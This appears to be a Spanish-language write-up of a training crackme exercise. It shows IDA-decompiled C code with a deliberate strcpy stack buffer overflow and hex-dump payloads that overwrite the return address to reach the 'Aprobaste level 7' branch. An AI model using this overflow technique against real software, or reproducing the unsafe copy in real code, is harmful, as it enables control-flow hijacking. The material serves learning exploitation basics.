Este es el código que me generó el IDA con mis modificaciones:
int __cdecl check(char *Stream)
{
char savedregs; // [esp+0h] [ebp+0h]
sprintf(Stream + 220, "Bieeeeeeeeeeeeeeeeeeeen ? con %s", Stream + 4);
if ( *(Stream + 52) != 'E' )
{
printf("Mal camino \n", savedregs);
exit(1);
}
if ( Stream[216] != 0xD )
*(Stream + 54) = 2;
printf("valor= %x\n", Stream[216]);
printf("number= %x\n", Stream[204]);
if ( *(Stream + 53) == 'F' )
printf("Aprobaste level 7", savedregs);
else
printf("Que pasa, %x \n", Stream[216] + Stream[204]);
return 0;
}
int main(int argc, const char **argv)
{
FILE *Stream; // [esp+0h] [ebp-1A4h] BYREF
char Buffer[200]; // [esp+4h] [ebp-1A0h] BYREF
int v6; // [esp+CCh] [ebp-D8h]
int v7; // [esp+D0h] [ebp-D4h]
int v8; // [esp+D4h] [ebp-D0h]
char Destination[200]; // [esp+DCh] [ebp-C8h] BYREF
v6 = 1;
v8 = 1;
v7 = 69;
memset(Buffer, 0, sizeof(Buffer));
memset(Destination, 0, sizeof(Destination));
Stream = fopen("example.txt", "rb");
if ( !Stream )
{
printf("No se puede leer el archivo bye bye \n", 0);
exit(1);
}
fread(Buffer, 200*sizeof(char), 1*sizeof(char), Stream);
// Acá se produce el bufferoverflow
// Copiamos el contenido del Buffer a Destination.
// strcpy copia hasta encontrar un caracter nulo ('\0')
strcpy(Destination, Buffer);
if ( v6 != 1 )
{
printf("Mal \n", (char)Stream);
exit(1);
}
check((int)&Stream);
return 0;
}
Hasta 173 no se produce el buffer overflow. Los caracteres que agregamos luego de 173 caracteres pisan el return address
.
Para hacer una prueba al pisar el return address le puse la dirección del printf que decía "No se puede leer el archivo bye bye \n"
que estaba en la dirección 0x401215
con el siguiente exploit:
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000020: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000030: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000040: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000050: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000060: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000070: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000080: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000090: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
000000a0: 4141 4141 4141 4141 4141 4141 4141 1512 AAAAAAAAAAAAAA..
000000b0: 4000 @.
Pisamos el return address con la dirección en donde dice “Aprobaste level 7” que se puede ubicar en el gráfico de IDA apretando el icono del lapiz en el dialogo en mi caso era la dirección: 0x4010AA
pasado a little indian: aa1040
.
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000020: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000030: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000040: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000050: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000060: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000070: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000080: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000090: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
000000a0: 4141 4141 4141 4141 4141 4141 4141 aa10 AAAAAAAAAAAAAA..
000000b0: 40 @